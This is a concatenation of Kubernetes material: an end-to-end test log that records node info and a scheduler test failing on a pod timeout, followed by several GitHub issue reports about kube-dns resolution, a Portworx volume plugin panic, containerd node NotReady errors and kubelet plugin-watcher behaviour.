10.111.89.130:11000/busybox@sha256:68effe31a4ae8312e47f54bec52d1fc925908009ce7e6f734e1b54a4169081c5 10.111.89.130:11000/busybox:latest  1109996} { 10.111.89.130:11000/google_containers/pause-amd64@sha256:7b23a11e164b0cfa08188d9f976da9f890464cdeb81c1f7c8ef008f03df3681e gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 10.111.89.130:11000/google_containers/pause-amd64:3.0 gcr.io/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r 04:41:56 jun 13 11:47:53.368: info: \r 04:41:56 logging kubelet events for node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:56 jun 13 11:47:53.489: info: \r 04:41:56 logging pods the kubelet thinks is on node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:57 jun 13 11:47:53.776: info: flannel-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:57 jun 13 11:47:53.776: info: kube-proxy-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:57 jun 13 11:47:53.777: info: dnsmasq-autoscaler-3605072793-45s0t started at 2017-06-13 10:46:39 +0000 utc  0+1 container statuses recorded \r 04:41:57 jun 13 11:47:53.777: info: \tcontainer autoscaler ready: true, restart count 0\r 04:41:57 jun 13 11:47:53.777: info: kubedns-autoscaler-1428750645-btwl6 started at 2017-06-13 10:47:10 +0000 utc  0+1 container statuses recorded \r 04:41:57 jun 13 11:47:53.777: info: \tcontainer autoscaler ready: true, restart count 0\r 04:41:57 jun 13 11:47:53.777: info: overcommit-1 started at 2017-06-13 11:37:59 +0000 utc  0+1 container statuses recorded \r 04:41:57 jun 13 11:47:53.777: info: \tcontainer overcommit-1 ready: true, restart count 0\r 04:41:57 jun 13 11:47:53.778: info: overcommit-3 started at 2017-06-13 11:37:59 +0000 utc  0+1 container statuses recorded \r 04:41:57 jun 13 11:47:53.778: info: \tcontainer overcommit-3 ready: true, restart count 0\r 04:41:57 jun 13 11:47:53.778: info: overcommit-7 started at 2017-06-13 11:38:00 +0000 utc  0+1 container statuses recorded \r 04:41:57 jun 13 11:47:53.778: info: \tcontainer overcommit-7 ready: true, restart count 0\r 04:41:57 w0613 11:47:53.900245     275 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r 04:41:57 jun 13 11:47:54.336: info: \r 04:41:57 latency metrics for node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:57 jun 13 11:47:54.336: info: \r 04:41:57 logging node info for node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:57 jun 13 11:47:54.454: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,generatename:,namespace:,selflink:/api/v1/nodesk8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,uid:7e339da2-5025-11e7-9536-fa163e83263e,resourceversion:8626,generation:0,creationtimestamp:2017-06-13 10:46:01.941336963 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: sddc,failure-domain.beta.kubernetes.io/zone: nova,kubernetes.io/hostname: k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed,node-role.kubernetes.io/node: true,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:36389ef9-f999-4cee-8c49-84838de3f2d6,providerid:openstack:///36389ef9-f999-4cee-8c49-84838de3f2d6,unschedulable:false,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{4145389568 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{1900 -3} {<nil>} 1900m decimalsi},memory: {{3528531968 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 11:48:01 +0000 utc 2017-06-13 10:46:01 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 11:48:01 +0000 utc 2017-06-13 10:46:01 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 11:48:01 +0000 utc 2017-06-13 10:46:01 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 11:48:01 +0000 utc 2017-06-13 10:46:01 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.3} {hostname k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8e025a21a4254e11b028584d9d8b12c4,systemuuid:4217527b-be59-4714-eec8-8fcfc4392e6f,bootid:c1a665bd-458f-4e70-ab5d-67d01d65d803,kernelversion:4.4.41-1.ph1-esx,osimage:debian gnu/linux 8  jessie ,containerruntimeversion:docker://1.12.1,kubeletversion:v1.6.1,kubeproxyversion:v1.6.1,operatingsystem:linux,architecture:amd64,},images: { 10.111.89.130:11000/coreos/hyperkube@sha256:44e441510dfed56ff6f3b4fb7e229b2e95cc3e526816710fcf68a1c49016b9ec 10.111.89.130:11000/coreos/hyperkube:v1.6.1_coreos.0  855664488} { gcr.io/google-samples/gb-frontend@sha256:d44e7d7491a537f822e7fe8615437e4a8a08f3a7a1d7d4cb9066b92f7556ba6d gcr.io/google-samples/gb-frontend:v4  512107183} { 10.111.89.130:11000/nginx@sha256:0c17c3a8e78a256677b3d9a3cc68e8e8e4244dafc7bd9ca0dfa96759a7047f69 10.111.89.130:11000/nginx:1.11.4  181346890} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:04a394cffc5d338b074e663825110b5695fc3efadabebf93a8dd48c443843e37 10.111.89.130:11000/google_containers/kubedns-amd64:1.7  55064828} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:1b21c69cd89b9bb47879ef94f03be2b0db194c7c04af4faa781cdd47474b88ec 10.111.89.130:11000/google_containers/kubedns-amd64:1.9  46998769} { 10.111.89.130:11000/coreos/flannel@sha256:75acf97abe273247770342054dbeba7803c866cc25dd7075c224e483cfcc65d7 10.111.89.130:11000/coreos/flannel:v0.6.2  27885643} { 10.111.89.130:11000/google_containers/exechealthz-amd64@sha256:b9b6093890bc39f15f9c77dd1e44250efb21c1b0ace334ac6e61c708fa5fa810 10.111.89.130:11000/google_containers/exechealthz-amd64:1.1  8332223} { gcr.io/google_containers/netexec@sha256:56c53846f44ea214e4aa5df37c9c50331f0b09e64a32cc7cf17c7e1808d38eef gcr.io/google_containers/netexec:1.7  8016035} { 10.111.89.130:11000/andyshinn/dnsmasq@sha256:be348473129bd3c7f7253ac4c93eff0e582b878cffb5553b91b83855886e0f99 10.111.89.130:11000/andyshinn/dnsmasq:2.72  6268826} { 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64@sha256:5c6b7b984c71a44c5045b41041ff94ccb8078feccffd10ea93b0626b60d784d3 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64:1.3  5125973} { gcr.io/google_containers/update-demo@sha256:89ac104fa7c43880d2324f377b79be95b0b2b3fb32e4bd03b8d1e6d91a41f009 gcr.io/google_containers/update-demo:nautilus  4555533} { gcr.io/google_containers/mounttest@sha256:c4dcedb26013ab4231a2b2aaa4eebd5c2a44d5c597fa0613c9ff8bde4fb9fe02 gcr.io/google_containers/mounttest:0.7  2052704} { gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff gcr.io/google_containers/busybox:1.24  1113554} { 10.111.89.130:11000/busybox@sha256:68effe31a4ae8312e47f54bec52d1fc925908009ce7e6f734e1b54a4169081c5 10.111.89.130:11000/busybox:latest  1109996} { 10.111.89.130:11000/google_containers/pause-amd64@sha256:7b23a11e164b0cfa08188d9f976da9f890464cdeb81c1f7c8ef008f03df3681e gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 10.111.89.130:11000/google_containers/pause-amd64:3.0 gcr.io/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r 04:41:57 jun 13 11:47:54.454: info: \r 04:41:57 logging kubelet events for node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:57 jun 13 11:47:54.568: info: \r 04:41:57 logging pods the kubelet thinks is on node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:58 jun 13 11:47:54.812: info: overcommit-5 started at 2017-06-13 11:38:00 +0000 utc  0+1 container statuses recorded \r 04:41:58 jun 13 11:47:54.812: info: \tcontainer overcommit-5 ready: true, restart count 0\r 04:41:58 jun 13 11:47:54.813: info: flannel-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:58 jun 13 11:47:54.813: info: kube-proxy-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:58 jun 13 11:47:54.813: info: dnsmasq-1508732111-sk20q started at 2017-06-13 10:46:36 +0000 utc  0+1 container statuses recorded \r 04:41:58 jun 13 11:47:54.813: info: \tcontainer dnsmasq ready: true, restart count 0\r 04:41:58 jun 13 11:47:54.813: info: kubedns-1482036730-6d6k7 started at 2017-06-13 10:47:08 +0000 utc  0+3 container statuses recorded \r 04:41:58 jun 13 11:47:54.813: info: \tcontainer dnsmasq ready: true, restart count 0\r 04:41:58 jun 13 11:47:54.813: info: \tcontainer healthz ready: true, restart count 0\r 04:41:58 jun 13 11:47:54.813: info: \tcontainer kubedns ready: true, restart count 0\r 04:41:58 jun 13 11:47:54.813: info: overcommit-2 started at 2017-06-13 11:37:59 +0000 utc  0+1 container statuses recorded \r 04:41:58 jun 13 11:47:54.813: info: \tcontainer overcommit-2 ready: true, restart count 0\r 04:41:58 w0613 11:47:54.937187     275 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r 04:41:58 jun 13 11:47:55.330: info: \r 04:41:58 latency metrics for node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:58 jun 13 11:47:55.331: info: \r 04:41:58 logging node info for node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:58 jun 13 11:47:55.455: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed,generatename:,namespace:,selflink:/api/v1/nodesk8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed,uid:a06c4659-5026-11e7-b8fd-fa163e30e2f5,resourceversion:8632,generation:0,creationtimestamp:2017-06-13 10:54:08.851921562 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: sddc,failure-domain.beta.kubernetes.io/zone: nova,kubernetes.io/hostname: k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed,node-role.kubernetes.io/node: true,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,},spec:nodespec{podcidr:,externalid:c9b7505c-7a1f-4ed2-bc75-337f4ad40238,providerid:openstack:///c9b7505c-7a1f-4ed2-bc75-337f4ad40238,unschedulable:false,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{4145389568 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{1900 -3} {<nil>} 1900m decimalsi},memory: {{3528531968 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-06-13 11:48:05 +0000 utc 2017-06-13 10:54:08 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-06-13 11:48:05 +0000 utc 2017-06-13 10:54:08 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-06-13 11:48:05 +0000 utc 2017-06-13 10:54:08 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-06-13 11:48:05 +0000 utc 2017-06-13 10:54:08 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.9} {hostname k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8e025a21a4254e11b028584d9d8b12c4,systemuuid:42178ceb-f2f4-c246-9dc8-eb18c5318f31,bootid:a5483589-fbd2-432c-b2d4-a8a5f7998c04,kernelversion:4.4.41-1.ph1-esx,osimage:debian gnu/linux 8  jessie ,containerruntimeversion:docker://1.12.1,kubeletversion:v1.6.1,kubeproxyversion:v1.6.1,operatingsystem:linux,architecture:amd64,},images: { 10.111.89.130:11000/coreos/hyperkube@sha256:44e441510dfed56ff6f3b4fb7e229b2e95cc3e526816710fcf68a1c49016b9ec 10.111.89.130:11000/coreos/hyperkube:v1.6.1_coreos.0  855664488} { gcr.io/google-samples/gb-frontend@sha256:d44e7d7491a537f822e7fe8615437e4a8a08f3a7a1d7d4cb9066b92f7556ba6d gcr.io/google-samples/gb-frontend:v4  512107183} { gcr.io/google_containers/redis@sha256:f066bcf26497fbc55b9bf0769cb13a35c0afa2aa42e737cc46b7fb04b23a2f25 gcr.io/google_containers/redis:e2e  418929769} { 10.111.89.130:11000/nginx@sha256:0c17c3a8e78a256677b3d9a3cc68e8e8e4244dafc7bd9ca0dfa96759a7047f69 10.111.89.130:11000/nginx:1.11.4  181346890} { gcr.io/google_samples/gb-redisslave@sha256:90f62695e641e1a27d1a5e0bbb8b622205a48e18311b51b0da419ffad24b9016 gcr.io/google_samples/gb-redisslave:v1  109462535} { gcr.io/google_containers/nginx-slim@sha256:dd4efd4c13bec2c6f3fe855deeab9524efe434505568421d4f31820485b3a795 gcr.io/google_containers/nginx-slim:0.7  86838142} { 10.111.89.130:11000/google_containers/kubedns-amd64@sha256:04a394cffc5d338b074e663825110b5695fc3efadabebf93a8dd48c443843e37 10.111.89.130:11000/google_containers/kubedns-amd64:1.7  55064828} { 10.111.89.130:11000/coreos/flannel@sha256:75acf97abe273247770342054dbeba7803c866cc25dd7075c224e483cfcc65d7 10.111.89.130:11000/coreos/flannel:v0.6.2  27885643} { gcr.io/google_containers/hostexec@sha256:cab8d4e2526f8f767c64febe4ce9e0f0e58cd35fdff81b3aadba4dd041ba9f00 gcr.io/google_containers/hostexec:1.2  13185747} { 10.111.89.130:11000/google_containers/exechealthz-amd64@sha256:b9b6093890bc39f15f9c77dd1e44250efb21c1b0ace334ac6e61c708fa5fa810 10.111.89.130:11000/google_containers/exechealthz-amd64:1.1  8332223} { gcr.io/google_containers/netexec@sha256:56c53846f44ea214e4aa5df37c9c50331f0b09e64a32cc7cf17c7e1808d38eef gcr.io/google_containers/netexec:1.7  8016035} { gcr.io/google_containers/serve_hostname@sha256:a49737ee84a3b94f0b977f32e60c5daf11f0b5636f1f7503a2981524f351c57a gcr.io/google_containers/serve_hostname:v1.4  6222101} { 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64@sha256:5c6b7b984c71a44c5045b41041ff94ccb8078feccffd10ea93b0626b60d784d3 10.111.89.130:11000/google_containers/kube-dnsmasq-amd64:1.3  5125973} { gcr.io/google_containers/update-demo@sha256:89ac104fa7c43880d2324f377b79be95b0b2b3fb32e4bd03b8d1e6d91a41f009 gcr.io/google_containers/update-demo:nautilus  4555533} { gcr.io/google_containers/update-demo@sha256:915a51866b3b77de77c833ac69c699b88d060312d41fb878fab7428b69ef382c gcr.io/google_containers/update-demo:kitten  4549069} { gcr.io/google_containers/test-webserver@sha256:f804e8837490d1dfdb5002e073f715fd0a08115de74e5a4847ca952315739372 gcr.io/google_containers/test-webserver:e2e  4534272} { gcr.io/google_containers/liveness@sha256:90994881062c7de7bb1761f2f3d020fe9aa3d332a90e00ebd3ca9dcc1ed74f1c gcr.io/google_containers/liveness:e2e  4387474} { gcr.io/google_containers/eptest@sha256:bb088b26ed78613cce171420168db9a6c62a8dbea17d7be13077e7010bae162f gcr.io/google_containers/eptest:0.1  2970692} { gcr.io/google_containers/mounttest@sha256:c4dcedb26013ab4231a2b2aaa4eebd5c2a44d5c597fa0613c9ff8bde4fb9fe02 gcr.io/google_containers/mounttest:0.7  2052704} { gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 gcr.io/google_containers/mounttest:0.8  1450761} { gcr.io/google_containers/mounttest-user@sha256:5487c126b03abf4119a8f7950cd5f591f72dbe4ab15623f3387d3917e1268b4e gcr.io/google_containers/mounttest-user:0.5  1450761} { gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff gcr.io/google_containers/busybox:1.24  1113554} { 10.111.89.130:11000/busybox@sha256:68effe31a4ae8312e47f54bec52d1fc925908009ce7e6f734e1b54a4169081c5 10.111.89.130:11000/busybox:latest  1109996} { 10.111.89.130:11000/google_containers/pause-amd64@sha256:7b23a11e164b0cfa08188d9f976da9f890464cdeb81c1f7c8ef008f03df3681e gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 10.111.89.130:11000/google_containers/pause-amd64:3.0 gcr.io/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r 04:41:58 jun 13 11:47:55.455: info: \r 04:41:58 logging kubelet events for node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:58 jun 13 11:47:55.569: info: \r 04:41:58 logging pods the kubelet thinks is on node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:59 jun 13 11:47:55.819: info: kube-proxy-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:59 jun 13 11:47:55.819: info: overcommit-0 started at 2017-06-13 11:37:59 +0000 utc  0+1 container statuses recorded \r 04:41:59 jun 13 11:47:55.819: info: \tcontainer overcommit-0 ready: true, restart count 0\r 04:41:59 jun 13 11:47:55.819: info: overcommit-4 started at 2017-06-13 11:37:59 +0000 utc  0+1 container statuses recorded \r 04:41:59 jun 13 11:47:55.819: info: \tcontainer overcommit-4 ready: true, restart count 0\r 04:41:59 jun 13 11:47:55.820: info: overcommit-6 started at 2017-06-13 11:38:00 +0000 utc  0+1 container statuses recorded \r 04:41:59 jun 13 11:47:55.820: info: \tcontainer overcommit-6 ready: true, restart count 0\r 04:41:59 jun 13 11:47:55.820: info: flannel-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed started at <nil>  0+0 container statuses recorded \r 04:41:59 w0613 11:47:55.943635     275 metrics_grabber.go:74  master node is not registered. grabbing metrics from scheduler and controllermanager is disabled.\r 04:41:59 jun 13 11:47:56.375: info: \r 04:41:59 latency metrics for node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:59 step: dumping a list of prepulled images on each node\r 04:41:59 jun 13 11:47:56.496: info: waiting up to 3m0s for all  but 0  nodes to be ready\r 04:41:59 step: destroying namespace \ e2e-tests-sched-pred-jhgng\  for this suite.\r 04:42:29 jun 13 11:48:25.881: info: namespace: e2e-tests-sched-pred-jhgng, resource: bindings, ignored listing per whitelist\r 04:42:29  aftereach   k8s.io  schedulerpredicates  serial \r 04:42:29   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:70\r 04:42:29 \r 04:42:29 • failure  700.011 seconds \r 04:42:29  k8s.io  schedulerpredicates  serial \r 04:42:29 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:650\r 04:42:29   validates resource limits of pods that are allowed to run  conformance   it \r 04:42:29   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:216\r 04:42:29 \r 04:42:29   expected error:\r 04:42:29       < errors.errorstring | 0xc421280120>: {\r 04:42:29           s: \ error waiting for 9 pods to be running - probably a timeout: timeout while waiting for pods with labels \\\ startpodsid=ba603655-502c-11e7-b75f-0242ac110003\\\  to be running\ ,\r 04:42:29       }\r 04:42:29       error waiting for 9 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=ba603655-502c-11e7-b75f-0242ac110003\  to be running\r 04:42:29   not to have occurred\r 04:42:29 \r 04:42:29   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:202\r 04:42:29 ------------------------------\r 04:42:29 s

this requires running all the components in a separate cgroup  or docker containers

what happened  :\r after creating a statefulset on a  local cluster  to manage several pods, i met a use case that requires setting up fqdn identity for the pods. for instance, i set up the first pod of the statefulset to have fqdn of  <some-statefulset>-0.<some-subdomain>.default.svc.cluster.local . however,  nslookup  the fqdn fails although  kube-dns  pods do run successfully.\r \r i followed this  tutorial  https://kubernetes.io/docs/tasks/administer-cluster/dns-debugging-resolution/ check-for-errors-in-the-dns-pod  for debugging. i found an  dnsmasq  error when running the third  kubectl logs  command:  kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c sidecar \r error found:  error getting metrics from dnsmasq: read udp 127.0.0.1:42673->127.0.0.1:53: read: connection refused \r \r do i need to set up anything for  kube-dns  when running it on a local cluster?\r \r   what you expected to happen  :\r pod fqdn works.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start a local cluster via  hack/local-up-cluster.sh \r 2. create a busybox pod via  kubectl create -f busybox.yaml   file  https://raw.githubusercontent.com/kubernetes/website/master/docs/tasks/administer-cluster/busybox.yaml \r 3.  k exec -it busybox -- nslookup svc.cluster.local   should fail \r \r   anything else we need to know?  :\r desired behavior can be achieved by adding  <ip-address> <some-statefulset>-0.<some-subdomain>.default.svc.cluster.local  into  /etc/hosts  file in the pod, but i want to have the fqdn to be identified automatically without changing the  /etc/hosts  file.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.2297+3591ee89c4795e-dirty\ , gitcommit:\ 3591ee89c4795eac3b812ae0d712898a08d827ca\ , gittreestate:\ dirty\ , builddate:\ 2018-04-11t20:56:57z\ , goversion:\ go1.10\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: local cluster\r - os  e.g. from /etc/os-release :  debian gnu/linux

bug report  :\r \r portworx volume plugin when a pvc is created using a  storageclass with empty parameters\r \r  \r \r   what happened  :\r \r create a storageclass using empty parameters and then create a pvc using that storage class. the  pvc will remain in pending state. on inspecting the logs of the controller manager, we find that the portworx volume plugin is panicing.\r \r    \r jun 06 23:59:57 mr85p00it-inhi03170901.rock.apple.com kube-controller-manager 24757 : i0606 23:59:57.341660   24757 portworx_util.go:55  creating portworx volume for pvc: postgres-data-dse2\r jun 06 23:59:57 mr85p00it-inhi03170901.rock.apple.com kube-controller-manager 24757 : e0606 23:59:57.341867   24757 goroutinemap.go:150  operation for \ provision-default/postgres-data-dse2 40c3e7f3-69e4-11e8-9d8b-6c92bf4db11e \  failed. no retries permitted until 2018-06-06 23:59:57.841769551 +0000 utc m=+1380488.336954143  durationbeforeretry 500ms . error: \ recovered from panic \\\ assignment to entry in nil map\\\ .  err=<nil>  call stack:\ /code/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\ /code/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:155\ /usr/local/go/src/runtime/asm_amd64.s:509\ /usr/local/go/src/runtime/panic.go:491\ /usr/local/go/src/runtime/hashmap_fast.go:776\ /code/_output/local/go/src/k8s.io/kubernetes/pkg/volume/portworx/portworx_util.go:92\ /code/_output/local/go/src/k8s.io/kubernetes/pkg/volume/portworx/portworx.go:365\ /code/_output/local/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1429\ /code/_output/local/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1326\ /code/_output/local/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:115\ /usr/local/go/src/runtime/asm_amd64.s:2337\ \ \r    \r \r   what you expected to happen  : pvc should have been created successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create following storage class and pvc\r    \r       portworx storage class\r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r     name: px-nginx-sc\r provisioner: kubernetes.io/portworx-volume\r parameters:\r ---\r       portworx persistent volume claim\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r    name: px-nginx-pvc\r    annotations:\r      volume.beta.kubernetes.io/storage-class: px-nginx-sc\r spec:\r    accessmodes:\r      - readwriteonce\r    resources:\r      requests:\r        storage: 1gi\r \r    \r \r   anything else we need to know?  : \r \r   environment  : n/a\r - kubernetes version  use  kubectl version  : 1.9.7, 1.10.1, 1.8.8\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

hi all,\r \r i am running with a very very strange issue since 2 weeks ago.\r let me describe in details what happened:\r \r 1. k8s node status ready.\r 2. after few time  maybe 1 or 2 days maximum  node status will be not ready with the following description:\r  kubectl describe node.txt  https://github.com/containerd/cri/files/2363245/kubectl.describe.node.txt \r \r 3. when i tried to open kubelet log i found the below:\r \r  kubelet.log  https://github.com/containerd/cri/files/2363251/kubelet.log \r \r 4. same thing i got logs for cri-containerd and containerd services\r \r  cri-containerd.log  https://github.com/containerd/cri/files/2363254/cri-containerd.log \r \r  containerd.log  https://github.com/containerd/cri/files/2363256/containerd.log \r \r \r at this stage when i try to list sandboxes, using  sudo crictl sandboxes  and hangs for long time without giving any result.\r some kubernetes issues was commenting the  pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s  issue is that this is due to huge number of images in node. i was not running with such case but i cleaned up all images but unfortunately the issue appear after few time.\r \r i am getting also the bellow issue from containerd which i do not know what it means:\r  info 0000  loading plugin \ io.containerd.content.v1.content\ ...  module=containerd type=io.containerd.content.v1 \r  info 0000  loading plugin \ io.containerd.snapshotter.v1.btrfs\ ...  module=containerd type=io.containerd.snapshotter.v1 \r  warn 0000  failed to load plugin io.containerd.snapshotter.v1.btrfs  error=\ path /var/lib/containerd/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter\  module=containerd \r  info 0000  loading plugin \ io.containerd.snapshotter.v1.overlayfs\ ...  module=containerd type=io.containerd.snapshotter.v1 \r  info 0000  loading plugin \ io.containerd.metadata.v1.bolt\ ...  module=containerd type=io.containerd.metadata.v1 \r  warn 0000  could not use snapshotter btrfs in metadata plugin  error=\ path /var/lib/containerd/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter\  module=\ containerd/io.containerd.metadata.v1.bolt\  \r \r my kubernetes cluster is running with the bellow info:\r \r os master and nodes: ubuntu 16.04\r k8s version: 1.9.6\r cri-containerd: 1.0.0-beta.1\r containerd:  containerd github.com/containerd/containerd v1.0.0-6-g6c7abf7 6c7abf7c76c1973d4fb4b0bad51691de84869a51 \r \r the only fix which i have now is to restart the node and it becomes directly ready.\r also, yesterday i tried to delete all pods and sandboxes in the failed node using the  ctr  command,  the containers were deleted directly but the sandboxes where not fully deleted. the  ctr  command hangs so i stopped the containerd.service and tried to remove them manually from  /var/lib/cri-containerd/sandboxes  directory. it returms me  directory or device busy . \r after advanced investigation i found out even the containerd.service stopped but there are processes running in the background related to it still running so i force delete them and restarted both cri-containerd and containerd services. so the node become ready again.\r \r \r please i need to fix this asap because it is a show stopper issue.\r any contribution to resolve this issue will be very appreciated.

is this a bug report or feature request?  :\r \r  this is more of an enhancement.\r \r   what happened  :\r the plugin watcher is setup to trigger on file activities when they occur in the subdirectory that it scans. during startup, the watcher is passed  from within the kubelet  the kubelet's root plugin directory as a location to scan for newly added plugins - https://github.com/kubernetes/kubernetes/blob/8346631860ca5d7253198415cf67b56183c33b49/pkg/kubelet/kubelet.go l789  \r \r because the kubelet's plugins subdirectory is also used by existing in-tree drivers  including csi  as a location to store plugins artifacts, the plugin watcher is getting triggered by directory/file activities occurring in that subdirectory that has nothing to do with plugin registration as shown in the output below:\r \r    \r > cat kubelog.txt | grep \ plugin_watcher\ \r e0921 18:41:49.164687   81286 plugin_watcher.go:115  error dial failed at socket 